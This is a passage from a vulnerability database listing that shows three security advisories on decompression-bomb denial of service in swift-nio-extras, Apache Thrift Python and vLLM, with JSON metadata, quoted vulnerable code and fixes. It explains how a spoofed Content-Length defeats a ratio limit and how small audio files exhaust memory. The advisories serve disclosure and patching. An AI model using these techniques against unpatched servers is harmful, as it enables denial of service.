Use .size(N) instead of .ratio(N) if a fixed upper bound on decompressed output is acceptable for the application. The .size limit is not affected by this vulnerability as it does not reference Content-Length.
Credits
NIOExtras is grateful to @nathanielmiller23 for their reporting and assistance with the process.
Severity
{
"affected": [
{
"package": {
"ecosystem": "SwiftURL",
"name": "github.com/apple/swift-nio-extras"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.34.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28975"
],
"database_specific": {
"cwe_ids": [
"CWE-409",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T15:08:04Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nWhen `NIOHTTPRequestDecompressor` is configured with `.ratio(N)`, the decompression limit is enforced using the `Content-Length` header value from the incoming request rather than the actual number of compressed bytes received. Since `Content-Length` is attacker-controlled, a malicious client can supply an inflated value that causes the ratio check to always pass, effectively disabling the configured decompression limit.\n\nThis allows an attacker to send a small, highly-compressed payload (a \"gzip bomb\") with a falsified `Content-Length` header to bypass the ratio-based protection entirely. The server will decompress the payload without limit, consuming unbounded memory and potentially causing denial of service.\n\nFor example, a gzip payload containing highly repetitive data can achieve amplification ratios of several hundred to one. Under `.ratio(10)` such a payload should be rejected, but if the attacker sets `Content-Length` to match the decompressed size, the check evaluates `decompressed \u003e decompressed * 10` which is always false, and the payload is accepted without error.\n\nAcross repeated requests, this allows sustained memory amplification far exceeding the configured limits with no error raised.\n\n### Relationship to CVE-2020-9840\n\nGHSA-xhhr-p2r9-jmm7 (CVE-2020-9840) found that the `.size` limit checked compressed rather than decompressed bytes and recommended `.ratio` as a workaround. This advisory identifies a distinct flaw in the `.ratio` limit itself: it uses the attacker-supplied `Content-Length` header as the denominator rather than actual consumed compressed bytes. The two vulnerabilities are in the same decompression limit enforcement code but involve non-overlapping logic errors.\n\nUsers who followed the CVE-2020-9840 workaround by switching to `.ratio(N)` are affected by this vulnerability.\n\n### Patches\n\nFixed in swift-nio-extras 1.34.1. The fix unifies the request and response decompressor implementations so that both accumulate actual compressed bytes received (`compressedLength += part.readableBytes`) rather than relying on any header-supplied value.\n\n### Workarounds\n\nUse `.size(N)` instead of `.ratio(N)` if a fixed upper bound on decompressed output is acceptable for the application. The `.size` limit is not affected by this vulnerability as it does not reference `Content-Length`.\n\n### Credits\n\nNIOExtras is grateful to @nathanielmiller23 for their reporting and assistance with the process.",
"id": "GHSA-6ph5-fww6-vfwv",
"modified": "2026-06-12T15:08:04Z",
"published": "2026-06-12T15:08:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apple/swift-nio-extras/security/advisories/GHSA-6ph5-fww6-vfwv"
},
{
"type": "PACKAGE",
"url": "https://github.com/apple/swift-nio-extras"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NIOExtras: NIOHTTPRequestDecompressor ratio limit bypass via inflated Content-Length"
}
GHSA-6PJX-3PJC-MRJ8
Vulnerability from github – Published: 2026-07-27 12:31 – Updated: 2026-07-27 21:31
VLAI
Details
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift Python bindings.
This issue affects Apache Thrift: before 0.24.0.
Users are recommended to upgrade to version 0.24.0, which fixes the issue.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2026-41608"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-27T12:16:44Z",
"severity": "HIGH"
},
"details": "Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift Python bindings.\n\nThis issue affects Apache Thrift: before 0.24.0.\n\nUsers are recommended to upgrade to version 0.24.0, which fixes the issue.",
"id": "GHSA-6pjx-3pjc-mrj8",
"modified": "2026-07-27T21:31:21Z",
"published": "2026-07-27T12:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41608"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/7v3jhgwfbmhx42424phydlnzb109g8b9"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/vwsbcwqdpwdtp8qkjo11ol6rodbfm21f"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/07/24/32"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6PR9-RP53-2PMC
Vulnerability from github – Published: 2026-06-17 14:06 – Updated: 2026-07-17 16:39
VLAI
Summary
vLLM: OOM Denial of Service via Audio Decompression Bomb
Details
Summary
vLLM's /v1/audio/transcriptions endpoint limits compressed upload size but not decoded PCM output. A 25MB OPUS file expands to ~14.9GB of float32 PCM at decode time. Tested on vLLM v0.19.0.
Details
SpeechToTextProcessor rejects uploads over VLLM_MAX_AUDIO_CLIP_FILESIZE_MB (default 25MB) based on compressed byte length, but the audio decoder in audio.py accumulates all decoded frames into memory with no size limit before returning:
# speech_to_text.py L184-189
if len(audio_data) / 1024 ** 2 > self.max_audio_filesize_mb:
raise VLLMValidationError(...)
y, sr = load_audio(buf, sr=self.asr_config.sample_rate) # decoded size unchecked
# audio.py L77-107
chunks: list[npt.NDArray] = []
for frame in container.decode(stream):
chunks.append(frame.to_ndarray())
audio = np.concatenate(chunks, axis=-1).astype(np.float32) # single contiguous allocation
A 25MB OPUS file at 6kbps encodes ~8.7 hours of audio. Decoding produces ~5.7GB of float32 PCM (232x amplification), and np.concatenate then allocates a second contiguous array, bringing peak RSS to ~14.9GB from a single request. SpeechToTextConfig.max_audio_clip_s (default 30s) applies only after the full decode and does not prevent the allocation.
Impact
An unauthenticated attacker can exhaust server memory with a small number of concurrent requests, each a valid upload within the documented size limit. Severity was assessed with reference to prior OOM vulnerability reports in vLLM.
Fix
A fix for this vulnerability was merged here: https://github.com/vllm-project/vllm/pull/44970
Severity
6.5 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.0"
},
"package": {
"ecosystem": "PyPI",
"name": "vllm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54233"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T14:06:22Z",
"nvd_published_at": "2026-06-22T23:16:31Z",
"severity": "MODERATE"
},
"details": "### Summary\nvLLM\u0027s `/v1/audio/transcriptions` endpoint limits compressed upload size but not decoded PCM output. A 25MB OPUS file expands to ~14.9GB of float32 PCM at decode time. Tested on vLLM v0.19.0.\n\n### Details\n`SpeechToTextProcessor` rejects uploads over `VLLM_MAX_AUDIO_CLIP_FILESIZE_MB` (default 25MB) based on compressed byte length, but the audio decoder in `audio.py` accumulates all decoded frames into memory with no size limit before returning:\n\n```python\n# speech_to_text.py L184-189\nif len(audio_data) / 1024 ** 2 \u003e self.max_audio_filesize_mb:\n raise VLLMValidationError(...)\ny, sr = load_audio(buf, sr=self.asr_config.sample_rate) # decoded size unchecked\n\n# audio.py L77-107\nchunks: list[npt.NDArray] = []\nfor frame in container.decode(stream):\n chunks.append(frame.to_ndarray())\naudio = np.concatenate(chunks, axis=-1).astype(np.float32) # single contiguous allocation\n```\n\nA 25MB OPUS file at 6kbps encodes ~8.7 hours of audio. Decoding produces ~5.7GB of float32 PCM (232x amplification), and `np.concatenate` then allocates a second contiguous array, bringing peak RSS to ~14.9GB from a single request. `SpeechToTextConfig.max_audio_clip_s` (default 30s) applies only after the full decode and does not prevent the allocation.\n\n### Impact\nAn unauthenticated attacker can exhaust server memory with a small number of concurrent requests, each a valid upload within the documented size limit. Severity was assessed with reference to prior OOM vulnerability reports in vLLM.\n\n### Fix\n\nA fix for this vulnerability was merged here: https://github.com/vllm-project/vllm/pull/44970",
"id": "GHSA-6pr9-rp53-2pmc",
"modified": "2026-07-17T16:39:16Z",
"published": "2026-06-17T14:06:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-6pr9-rp53-2pmc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54233"
},
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/pull/44970"
},
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/commit/1b1359c33269446f13c05da9a90c25174cbea590"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-6pr9-rp53-2pmc"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-3404.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/vllm-project/vllm"
},
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/releases/tag/v0.23.1rc0"
},
{
"type": "WEB",
"url": "https://pypi.org/project/vllm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "vLLM: OOM Denial of Service via Audio Decompression Bomb"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.